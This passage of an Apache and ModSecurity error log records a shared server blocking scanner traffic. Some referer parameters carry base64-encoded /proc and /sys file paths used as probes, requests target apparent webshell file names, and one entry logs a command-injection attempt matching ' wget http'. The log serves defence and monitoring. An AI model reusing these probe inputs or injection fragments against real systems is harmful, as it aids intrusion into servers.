"/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/less.php"] [unique_id "ai3xGimiP80klyS0NnruQwAAAQ8"] [Sat Jun 13 18:08:58.759177 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.27:40566] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:58.759462 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.27:40566] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:58.763314 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:08:58.763603 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:08:58.803543 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:08:58.803873 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:08:59.185757 2026] [security2:error] [pid 531155:tid 531344] [client 20.151.217.54:16983] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/drykl.php"] [unique_id "ai3xGymiP80klyS0NnruTgAAAUU"] [Sat Jun 13 18:08:59.186689 2026] [access_compat:error] [pid 531797:tid 531907] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:08:59.186968 2026] [access_compat:error] [pid 531797:tid 531907] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:08:59.200641 2026] [access_compat:error] [pid 531155:tid 531259] [remote 57.141.14.90:43022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:59.201034 2026] [access_compat:error] [pid 531155:tid 531259] [remote 57.141.14.90:43022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:59.243779 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.84:33926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:59.244063 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.84:33926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:59.252792 2026] [security2:error] [pid 531155:tid 531189] [remote 17.241.75.176:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xGymiP80klyS0NnruVAABSSE"] [Sat Jun 13 18:08:59.381062 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:08:59.381336 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:08:59.436559 2026] [security2:error] [pid 531155:tid 531373] [client 191.234.188.123:63882] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-blog.php"] [unique_id "ai3xGymiP80klyS0NnruWwAAAWI"] [Sat Jun 13 18:08:59.441982 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.42:27414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:59.442239 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.42:27414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:59.606143 2026] [security2:error] [pid 531155:tid 531283] [remote 17.22.253.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xGymiP80klyS0NnruYAABPX8"] [Sat Jun 13 18:08:59.757888 2026] [access_compat:error] [pid 531797:tid 531880] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL25ldA== [Sat Jun 13 18:08:59.758092 2026] [security2:error] [pid 531797:tid 531961] [remote 17.246.15.10:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xG8TA7b1mZrmcA-8W7wACbGE"] [Sat Jun 13 18:08:59.758198 2026] [access_compat:error] [pid 531797:tid 531880] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL25ldA== [Sat Jun 13 18:08:59.861722 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:08:59.862158 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:08:59.991116 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.97:50450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:59.991399 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.97:50450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:00.038796 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:09:00.039059 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:09:00.121843 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.13:47739] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:00.122127 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.13:47739] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:00.264147 2026] [access_compat:error] [pid 531797:tid 531929] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:00.264586 2026] [access_compat:error] [pid 531797:tid 531929] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:00.284699 2026] [access_compat:error] [pid 531797:tid 531882] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:00.285028 2026] [access_compat:error] [pid 531797:tid 531882] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:00.383853 2026] [security2:error] [pid 531797:tid 531972] [remote 17.241.219.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xHMTA7b1mZrmcA-8XCgACJms"] [Sat Jun 13 18:09:00.459852 2026] [security2:error] [pid 531797:tid 531949] [remote 17.246.23.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xHMTA7b1mZrmcA-8XDQACh1U"] [Sat Jun 13 18:09:00.475100 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2svZGV2aWNl [Sat Jun 13 18:09:00.475546 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2svZGV2aWNl [Sat Jun 13 18:09:00.715995 2026] [security2:error] [pid 531797:tid 532001] [client 72.255.3.64:18697] ModSecurity: Warning. Match of "ipMatch 127.0.0.1,::1" against "REMOTE_ADDR" required. [file "/etc/httpd/modsecurity.d/00_asl_zz_strict.conf"] [line "82"] [id "331030"] [rev "2"] [msg "Atomicorp.com WAF Rules: Suspicious activity detected - HTTP Request Missing a Host Header"] [severity "NOTICE"] [tag "no_ar"] [hostname "admin.dennis-cooper.com"] [uri "/setup.cgi"] [unique_id "ai3xHMTA7b1mZrmcA-8XEwAAAhk"] [Sat Jun 13 18:09:00.716454 2026] [security2:error] [pid 531797:tid 532001] [client 72.255.3.64:18697] ModSecurity: Access denied with code 406 (phase 2). Match of "rx (?:/count\\\\.cgi|^/magento/index\\\\.php/admin/dashboard/|^/images/stories/|^/content/pdf/media/print)" against "REQUEST_URI" required. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "421"] [id "340014"] [rev "17"] [msg "Atomicorp.com WAF Rules: CMD injection"] [data " wget http"] [severity "CRITICAL"] [tag "Command Injection"] [hostname "admin.dennis-cooper.com"] [uri "/setup.cgi"] [unique_id "ai3xHMTA7b1mZrmcA-8XEwAAAhk"] [Sat Jun 13 18:09:00.777981 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:00.778465 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:00.802191 2026] [security2:error] [pid 531797:tid 531955] [remote 17.246.19.83:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 83.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xHMTA7b1mZrmcA-8XFgACU1s"] [Sat Jun 13 18:09:00.833497 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.111:48904] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:00.833926 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.111:48904] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:00.867214 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:09:00.867661 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:09:00.925185 2026] [security2:error] [pid 531155:tid 531304] [client 20.151.217.54:16969] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/h2a2ck.php"] [unique_id "ai3xHCmiP80klyS0NnruiAAAAR0"] [Sat Jun 13 18:09:01.125046 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:09:01.125341 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:09:01.130312 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.53:45906] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:01.130787 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.53:45906] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:01.328080 2026] [security2:error] [pid 531797:tid 532124] [client 191.233.234.186:53416] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/yoy123.php"] [unique_id "ai3xHcTA7b1mZrmcA-8XJwAAAo8"] [Sat Jun 13 18:09:01.350957 2026] [access_compat:error] [pid 531797:tid 531902] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:01.351216 2026] [access_compat:error] [pid 531797:tid 531902] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:01.495908 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2U= [Sat Jun 13 18:09:01.496354 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2U= [Sat Jun 13 18:09:01.521216 2026] [security2:error] [pid 531155:tid 531324] [client 191.233.234.186:60610] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 